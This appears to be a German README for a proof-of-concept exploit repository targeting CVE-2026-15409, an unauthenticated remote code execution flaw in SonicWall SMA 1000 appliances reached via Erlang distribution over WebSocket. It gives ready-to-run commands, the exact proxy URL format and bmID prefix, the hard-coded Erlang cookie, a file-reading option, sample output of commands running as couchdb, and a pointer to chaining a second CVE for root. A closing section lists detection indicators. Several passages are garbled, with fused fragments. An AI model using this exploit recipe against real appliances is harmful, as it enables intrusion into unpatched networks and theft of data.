
Proof-of-Concept-Exploit für CVE-2026-15409 (SonicWall SMA 1000 RCE) über Erlang-Distribution per WebSocket. Ermöglicht nicht authentifizierte Remote-Codeausführung als couchdb-Benutzer.
Proof‑of‑Concept-Exploit für CVE-2026-15409 – nicht authentifizierte Remote-Codeausführung auf SonicWall-SMA-1000-Geräten über das per WebSocket getunnelte Erlang-Distributionsprotokoll.
CVE-2026-15409 ist eine kritische Schwachstelle, die SonicWall-SMA-1000-Geräte betrifft (Versionen vor dem Hotfix vom Juni 2026). Der Fehler liegt im WorkPlace-Dienst (normalerweise über Port 443 erreichbar), der WebSocket-Verbindungen zu internen Erlang-Knoten weiterleitet. Durch das Fälschen eines gültigen -Parameters und die Verwendung eines fest verdrahteten Erlang-Cookies kann ein Angreifer einen authentifizierten Distributionskanal aufbauen und über RPC-Aufrufe an beliebige Systembefehle als Benutzer (oder andere Konten mit niedrigen Rechten) ausführen.
bmIDos:cmd/1couchdbDieses Repository bietet einen voll funktionsfähigen PoC, der die gesamte Exploit-Kette automatisiert – vom WebSocket-Handshake bis zur Ausführung beliebiger Befehle – mit einer übersichtlichen Schnittstelle, erweiterter Fehlerbehandlung und ansprechender Protokollierung.
wss:// unter Verwendung des wsproxy-Endpunkts.os:cmd/1; kann Dateien über file:read_file/1 lesen oder die Konnektivität mit erlang:node/0 testen.bmID-Werte (solange sie mit -3389 beginnen) und mehrere serviceType-Werte.[+], [*], [-], [!] für eine einfache Überwachung.Die Schwachstelle resultiert aus den folgenden Designschwächen im SMA 1000:
/wsproxy-Endpunkt leitet binäre WebSocket-Nachrichten ohne ordnungsgemäße Authentifizierung oder Autorisierung an einen lokalen Erlang-Distributionsport weiter (standardmäßig localhost:1050).[email protected] lauscht auf Port 1050 und akzeptiert Verbindungen vom WebSocket-Proxy, wodurch er aus dem Netzwerk erreichbar ist.rex, der beliebige Funktionen auf dem Knoten ausführen kann, einschließlich os:cmd/1.ex_sra_vm_12.5.0-02002.ova).couchdb (UID 1010, Gruppe daemon).file:read_file/1 lesen.websockets (Installation über pip install websockets).git clone https://github.com/Ch4120N/CVE-2026-15409.git
cd CVE-2026-15409
pip install -r requirements.txt # websockets
python3 cve-2026-15409.py \
--ws-url 'wss://TARGET_IP/wsproxy?bmID=-3389c1b25ccd&serviceType=SSH&host=0.0.0.0&port=1050' \
--ws-user-agent 'SMA Connect Agent' \
--ws-insecure-tls \
--exec 'whoami && id && pwd && hostname'
░█▀▀░█░█░█▀▀░░░░░▀▀▄░▄▀▄░▀▀▄░▄▀▀░░░░░▀█░░█▀▀░█░█░▄▀▄░▄▀▄
░█░░░▀▄▀░█▀▀░▄▄▄░▄▀░░█/█░▄▀░░█▀▄░▄▄▄░░█░░▀▀▄░░▀█░█/█░░▀█
░▀▀▀░░▀░░▀▀▀░░░░░▀▀▀░░▀░░▀▀▀░░▀░░░░░░▀▀▀░▀▀░░░░▀░░▀░░▀▀░
[CVE-2026-15409]
Erlang Distribution RCE via WebSocket Proxy
Owner: Ch4120N
[ * ] Connecting via WebSocket to wss://192.168.56.102/wsproxy?bmID=-3389c1b25ccd&serviceType=SSH&host=0.0.0.0&port=1050
[ * ] Preparing RPC: os:cmd('whoami && id && pwd && hostname')
[ + ] Authenticated to [email protected]
[ * ] Calling os:cmd/1 ...
[ + ] RPC call completed
[ * ] Peer name: [email protected]
[ * ] Peer flags: 0xd07df7fbd
[ * ] Peer creation: 1784069352
[ + ] Command output:
couchdb
uid=1010(couchdb) gid=1(daemon) groups=1(daemon)
/opt/couchdb
SMAAppliance.sma
| Argument | Beschreibung |
|---|---|
--host, --port | TCP-Fallback (falls kein WebSocket verwendet wird) |
--cookie | Das standardmäßige fest verdrahtete Cookie überschreiben |
--name | Benutzerdefinierter Name des lokalen Erlang-Knotens |
--ws-origin | Origin-Header für WebSocket festlegen |
--ws-user-agent | User-Agent-Zeichenkette (Standard: SMA Connect Agent) |
--ws-insecure-tls | TLS-Überprüfung deaktivieren (selbstsignierte Zertifikate) |
--read-file | Eine Datei vom Ziel lesen (z. B. /etc/passwd) |
--rpc | Nur die Verbindung testen, indem erlang:node/0 aufgerufen wird |
Das im Exploit verwendete Erlang-Cookie lautet:
10ecad5b446e86864832904cd439b6b70262
Dieser Wert ist auf allen getesteten SMA-Geräten identisch und im Erlang-Prozess auf localhost:1050 fest verdrahtet. Er ist nicht dasselbe wie das benutzerkonfigurierte Cookie für das Clustering.
bmID-ParameterDer bmID-Parameter muss mit -3389 beginnen (z. B. -3389c1b25ccd). Beliebige Werte nach dem Präfix werden akzeptiert, daher sollte eine signaturbasierte Erkennung nicht auf einem festen Hash basieren.
Während das Beispiel serviceType=SSH verwendet, funktionieren auch andere Werte wie TELNET. Der Exploit ist unabhängig vom Diensttyp.
Port 1050 ist der standardmäßige interne Port, aber es wurden auch Angriffe in freier Wildbahn beobachtet, die auf Port 8188 abzielen. Der Exploit kann an jeden Port angepasst werden, der das Erlang-Distributionsprotokoll bereitstellt.
Nachdem eine Shell als couchdb erlangt wurde, kann ein Angreifer CVE-2026-15410 ausnutzen – eine XML‑RPC-Pfadtraversierung, die das Entfernen des Hotfixes und eine anschließende Privilegienerweiterung auf Root ermöglicht.
/wsproxy mit einer bmID, die mit -3389 beginnt.couchdb gestartet wurden (z. B. bash, python, nc)./var/tmp/ durch den Benutzer couchdb.Dieses Projekt ist unter der MIT-Lizenz lizenziert – siehe die Datei LICENSE für Details.
Haftungsausschluss: Dieses Tool ist ausschließlich für Bildungs- und autorisierte Testzwecke bestimmt. Der Autor und die Mitwirkenden übernehmen keine Verantwortung für Missbrauch oder Schäden, die durch diese Software verursacht werden.
Wenn Sie diesen PoC nützlich finden, geben Sie ihm bitte auf GitHub einen ⭐ und teilen Sie ihn verantwortungsvoll. Beiträge, Issues und Pull-Requests sind willkommen!
Viel Spaß beim Hacking! 🛡️